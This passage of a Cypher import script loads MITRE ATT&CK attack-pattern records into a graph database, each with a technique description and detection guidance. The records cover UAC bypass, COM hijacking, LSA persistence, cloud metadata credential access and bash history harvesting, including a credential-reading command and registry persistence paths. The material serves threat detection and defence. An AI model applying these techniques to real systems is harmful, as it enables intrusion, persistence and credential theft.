Smith\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Bypass User Account Control", modified:"2019-07-16T20:28:55.134Z", kill_chain_phases:["ac6b1757-cc3f-413e-9b79-5a0ff431a6af", "55bbc5ed-0594-4166-9fef-b5ef7f0e2b08"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", external_references:["bb7549a3-44e5-4b28-a1b3-35f699de7be5", "0b67dd1f-abe8-44c5-87d4-04945ffce143", "ebddf6dd-1da0-490a-873f-5b54c5c23b56", "a853bcb0-d486-46c1-9d51-0a9feaafae8d", "492dfc95-e0cc-4f68-a1b7-4ba78572525b", "7dec9f5e-1adb-4d1f-b93e-834f3a3829e3", "32cb5085-0021-4e5a-9554-536f80a657d6", "6764db3d-a936-4867-a600-cfc7668e23ac", "9e0cb19d-ec9b-4d4c-a874-35cbb401569b", "0e3514ec-6e00-44e1-a748-bad1b7c255e3", "9a6d1266-0de3-4e8e-af73-9d0db1d27378"]}}, {_id:158, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Network protocol analysis\",\"Packet capture\",\"System calls\",\"Process use of network\",\"Process monitoring\",\"Browser extensions\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n\\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\",\"x_mitre_contributors\":[\"Justin Warner, ICEBRG\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Browser Extensions", modified:"2019-07-16T20:22:19.705Z", kill_chain_phases:["67c6304d-c576-4f51-ac59-6e01f95e142d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", external_references:["1dcffe03-83e0-44ab-a532-789e46cb7f47", "7a73f8bb-eb3f-40fa-8b57-ae510377ae4f", "c9817392-3905-4ee6-aff1-39c851f94e67", "82555215-1553-44f1-aa3b-54707ef7c00c", "6648c537-ab71-46e1-bc0e-bf38e05691c0", "050e5c07-a9e7-4b05-8a1e-d15943e30c7f", "49c41f70-8966-4736-952a-fcc932ef1991", "49b0cce8-2ff2-469c-abdb-160f0e4edc8e", "c75af1b0-ce6f-4777-b9e8-adfe7bc8fc88", "0a06575d-fb22-4506-855d-0fafbb9bc6fb"]}}, {_id:252, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-25T20:53:07.719Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process command-line parameters\",\"Process monitoring\",\"File monitoring\"],\"x_mitre_defense_bypassed\":[\"Static File Analysis\",\"Binary Analysis\",\"Anti-virus\",\"Host intrusion prevention systems\",\"Signature-based detection\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.\",\"x_mitre_contributors\":[\"Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank\",\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_system_requirements\":[\"Compiler software (either native to the system or delivered by the adversary)\"]}", description:"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Compile After Delivery", modified:"2019-04-29T21:13:49.686Z", kill_chain_phases:["226aa61e-da62-4fc9-ae16-095f0828ead7"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", external_references:["a313c6c7-d9bc-4bdc-bc44-a19e5ea9ce9b", "f8b5723d-0737-4739-b06a-4c3321b596fb", "fa324173-cc3a-4aac-b96f-fe068e1abf3c"]}}, {_id:266, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:22.374Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Disk forensics\",\"API monitoring\",\"Process monitoring\",\"Component firmware\"],\"x_mitre_defense_bypassed\":[\"File monitoring\",\"Host intrusion prevention systems\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\\n\\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.\",\"x_mitre_permissions_required\":[\"SYSTEM\"],\"x_mitre_system_requirements\":[\"Ability to update component device firmware from the host operating system.\"]}", description:"Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Component Firmware", modified:"2019-07-16T21:04:18.951Z", kill_chain_phases:["093da57c-915c-4b53-bb1c-75383ba7719d", "f6e4984a-b6e2-4f2b-a44e-c31629c55365"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", external_references:["541193bb-868e-45de-9e85-6871a24dc081", "e92a5997-4869-492a-8d14-098653207d1a", "8f2ab21d-da91-4c27-abdb-b3aeabef5400", "3e7ed6e8-1bac-4b0b-9ce0-87192243396d"]}}, {_id:273, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:33.979Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows Registry\",\"DLL monitoring\",\"Loaded DLLs\"],\"x_mitre_defense_bypassed\":[\"Autoruns Analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\CLSID\\\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\",\"x_mitre_contributors\":[\"ENDGAME\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Component Object Model Hijacking", modified:"2019-04-18T16:41:28.889Z", kill_chain_phases:["b4cbb5a1-def0-4c02-8b20-1d2f7fc90a83", "81c3085a-edca-4c1a-893b-df94bdbf4cb3"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", external_references:["921e60d9-6067-4830-a947-f29b4f15ee69", "e6879f55-44d8-424f-92f4-2b6e54591785", "ce2c3a46-ed48-418f-aac8-5252ecfdb718", "1abbff4a-850f-4dad-ba62-dc13ca3b672e"]}}, {_id:234, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:26.474Z", custom:"{\"x_mitre_platforms\":[\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Binary file metadata\"],\"x_mitre_defense_bypassed\":[\"Windows User Account Control\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\"}", description:"Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Code Signing", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["1648cb1e-13ab-4097-9eb3-3f61be7d3824"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", external_references:["05481cc4-9214-421e-aac7-b34492b85d0c", "c102d469-3e3f-4367-94b3-d24a87beed39", "e3c8df3b-d380-4723-8e45-00f80b641c1e", "c7d17a12-f6b7-4bc3-8753-e7680499f2f7", "a3ffe805-adba-4ea1-ae31-8e892cd3f0e1"]}}, {_id:241, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:49.546Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"],\"x_mitre_remote_support\":false}", description:"Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Command-Line Interface", modified:"2019-07-16T20:46:59.350Z", kill_chain_phases:["c8ef9c39-de96-4d9a-8262-4b8f612f6ba3"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", external_references:["0fce28f0-d9c2-490e-9614-7d6856e7d851", "3f6fcac2-35fd-409c-b396-0403d05c4da8"]}}, {_id:220, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-04T14:41:32.317Z", custom:"{\"x_mitre_platforms\":[\"AWS\",\"GCP\",\"Azure\"],\"x_mitre_data_sources\":[\"Azure activity logs\",\"AWS CloudTrail logs\",\"Authentication logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"* Monitor access to the Instance Metadata API and look for anomalous queries.\\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\\n\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Cloud Instance Metadata API", modified:"2019-10-22T19:57:25.998Z", kill_chain_phases:["bab25bca-b70a-4ea1-bd20-93170fde1aa2"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", external_references:["816c989b-1a97-47ee-a18b-89948495d7e4", "bbc80df1-a59a-499f-b191-cf8d693b1c50", "4594bf87-15a3-4eb1-a2ab-24799530ae2e"]}}, {_id:230, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-08-30T13:01:10.120Z", custom:"{\"x_mitre_platforms\":[\"AWS\",\"GCP\",\"Azure\",\"Azure AD\",\"Office 365\",\"SaaS\"],\"x_mitre_data_sources\":[\"Azure activity logs\",\"Stackdriver logs\",\"AWS CloudTrail logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it's platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment.\n\nPacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Cloud Service Discovery", modified:"2019-10-17T19:11:02.353Z", kill_chain_phases:["ae458834-4bdf-4a07-a3c1-473f034daaa0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", external_references:["a6025d24-c70e-4fdf-a54c-266edebd07b5", "88d7beff-fb93-4785-bee7-e8e4929178bc"]}}, {_id:115, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:43.135Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"DLL monitoring\",\"Windows Registry\",\"Loaded DLLs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\",\"x_mitre_permissions_required\":[\"Administrator\"]}", description:"Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Authentication Package", modified:"2019-06-13T16:38:05.711Z", kill_chain_phases:["483ab14d-a04b-4dfb-a960-5a3b3dc4f300"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", external_references:["c4abb484-1d22-4dab-9116-9bc0d49df06b", "3f98b132-6f66-4a83-b39f-24ef1ebb1d8a", "5815007c-3c3a-45e1-99f5-280c425b2fd0", "69c31b91-859e-4874-86ba-caf4d7edba9f"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:59, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:12.196Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Office 365\",\"Azure\",\"GCP\",\"Azure AD\",\"AWS\"],\"x_mitre_data_sources\":[\"Authentication logs\",\"API monitoring\",\"Windows event logs\",\"Packet capture\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n\\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\\n\\nMonitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n\\nA larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring.\",\"x_mitre_contributors\":[\"Jannie Li, Microsoft Threat Intelligence Center (MSTIC)\",\"Praetorian\",\"Tim MalcomVetter\"],\"x_mitre_permissions_required\":[\"Administrator\"],\"x_mitre_system_requirements\":[\"Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission PowerShell cmdlet (depending on parameters used, may require more permission)\"]}", description:"Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\n### Exchange Email Account Takeover\n\nThe Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\n\n### Azure AD\n\nIn Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)\n\n### AWS\n\nAWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Account Manipulation", modified:"2019-10-23T14:49:39.188Z", kill_chain_phases:["34f1182e-30a9-49c6-af21-debecf743374", "ae2c77bb-47ff-49a6-abcc-99e76854bd5f"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", external_references:["d519a992-f59a-4f13-a3d0-b7842f405595", "d9c0256f-2ee8-4af0-a9b7-c150ffab7be6", "e3b2fe5e-ca1a-40d8-968e-d3d81b808ca1", "85c96019-29c4-4298-ae45-1bd9f301b352", "7c2d8340-0a59-46ac-a1f7-5357a80443e8", "6ade9b6d-b513-4f8f-bb61-9fbb03455b78", "d4ecef75-4a98-443f-bf44-29d477ee4eff", "2f1ffa06-fbd7-43f6-a370-68ad06339247"]}}, {_id:90, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-08-30T12:55:58.607Z", custom:"{\"x_mitre_platforms\":[\"SaaS\",\"Office 365\"],\"x_mitre_data_sources\":[\"OAuth audit logs\",\"Office 365 account logs\"],\"x_mitre_defense_bypassed\":[\"Multi-Factor Authentication\",\"Logon Credentials\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\",\"x_mitre_contributors\":[\"Mark Wee\",\"Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)\",\"Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)\",\"Shailesh Tiwary (Indian Army)\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Application Access Token", modified:"2019-10-22T19:53:15.909Z", kill_chain_phases:["4766b900-3426-4457-8069-7afabb585881", "9a609cb1-5e1b-4201-8c91-04fe3fc53ba9"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", external_references:["d4261cbd-5995-469b-b476-8965b7ebec87", "6724a2ac-b789-4b06-a492-5fbd84d7dd8c", "30e030c0-15cb-4a28-97ba-079bdcb5f567", "6309fc15-8b92-414b-b5be-0158411d119d", "ab7f4dab-8ed8-4123-a4bb-8d91e55443f0"]}}, {_id:139, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like <code>cat ~/.bash_history</code>.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Bash History", modified:"2019-07-16T19:54:57.273Z", kill_chain_phases:["e422da4a-35d5-4a6e-8041-26ca9aad7eef"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", external_references:["da7fce27-0ce0-4398-b632-15307aec0cca", "023cc3ba-4744-4444-953e-2f53688d6280"]}}, {_id:155, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"API monitoring\",\"File monitoring\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows 